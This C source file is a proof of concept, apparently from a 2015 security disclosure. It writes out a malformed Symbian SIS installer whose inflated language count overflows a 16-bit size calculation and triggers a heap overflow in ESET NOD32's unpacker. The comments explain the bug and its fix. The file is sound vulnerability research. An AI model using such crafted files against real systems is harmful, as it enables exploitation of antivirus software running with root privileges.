#include <stdio.h> #include <stdint.h> #include <stddef.h>
// // ESET NOD32 Heap overflow unpacking EPOC installation files. // // By creating a file record with type SIS_FILE_MULTILANG (meaning a different // file is provided for every supported language), and then claiming to support // a very large number of languages, a 16-bit calculation overflows. This leads // to a nice clean heap overflow. // // The maximum possible value for the number of languages is 99, because only // 99 language codes are defined. Even if you included a different file for // every language it wouldn't exceed 99. // // So the bug is, check for overflow if you want to support non-existant // language codes, or cap it at 99. // // FWIW, I think ESET don't implement UID2=0x10003A12 correctly. That uid is // supposed to extend the file record size...but then I think about why // they're unpacking EPOC installer files onacess as root on a x86_64 // Windows 8.1 machine in 2015 and my f!@#%$ing brain starts hurting, so // whatevs. // // Tavis Ormandy <taviso@google.com>, June 2015 //
#pragma pack(1)
#define SIS_OPT_NOCOMPRESS 0x08 #define SIS_FILE_MULTILANG 0x01
struct symbian { uint32_t uid1; uint32_t uid2; uint32_t uid3; struct { uint16_t crchi; uint16_t crclo; } uid4; uint16_t checksum; uint16_t numlangs; uint16_t numfiles; uint16_t numreqs; uint16_t language; uint16_t files; uint16_t drive; uint16_t numcaps; uint32_t installver; uint16_t options; uint16_t type; struct { uint16_t major; uint16_t minor; } version; uint32_t variant; uint32_t langptr; uint32_t fileptr; uint32_t reqptr; uint32_t certptr; uint32_t nameptr; };
struct filerecord { uint32_t rectype; uint32_t type; uint32_t details; uint32_t srcnamelen; uint32_t srcnameptr; uint32_t dstnamelen; uint32_t dstnameptr; };
static uint16_t crc16(void *data, size_t count, uint16_t init) { uint32_t polynomial = 0x1021; uint32_t table[256] = {0}; uint32_t index; uint8_t *value = data;
for (index = 0; index < 128; index++) { uint32_t carry = table[index] & 0x8000; uint32_t temp = (table[index] << 1) & 0xffff; table[index * 2 + (carry ? 0 : 1)] = temp ^ polynomial; table[index * 2 + (carry ? 1 : 0)] = temp; }
for (index = 0; index < count; index++) { init = (init << 8) ^ table[((init >> 8) ^ value[index]) & 0xff]; }
return init; }
int main(int argc, char **argv) { struct symbian header = {0}; struct filerecord file = {0}; uint8_t *ptr; uint32_t i;
ptr = (void *) &header; header.uid1 = 0x10000000; // Default UID header.uid2 = 0x1000006D; // EPOC Release 3/4/5 header.uid3 = 0x10000419; // Magic header.numlangs = 0x8000; header.options = SIS_OPT_NOCOMPRESS; header.numfiles = 1; header.fileptr = sizeof header;
// WTF were symbian smoking when they came up with this? for (i = 0; i < offsetof(struct symbian, uid4); i += 2) { header.uid4.crchi = crc16(ptr + i + 0, 1, header.uid4.crchi); header.uid4.crclo = crc16(ptr + i + 1, 1, header.uid4.crclo); }
// So there are header.numlangs files described. Just the record is enough // to demonstrate the bug, so the data isn't generated. file.rectype = SIS_FILE_MULTILANG;
fwrite(&header, sizeof header, 1, stdout); fwrite(&file, sizeof file, 1, stdout);
// BUG! ESET assume the size will fit in a short, it overflows, and we get // a nice clean heap overflow. for (i = 0; i < header.numlangs; i++) { fwrite("AAAA", 4, 1, stdout); // FileLen }
for (i = 0; i < header.numlangs; i++) { fwrite("BBBB", 4, 1, stdout); // FilePtr }
return 0; }
|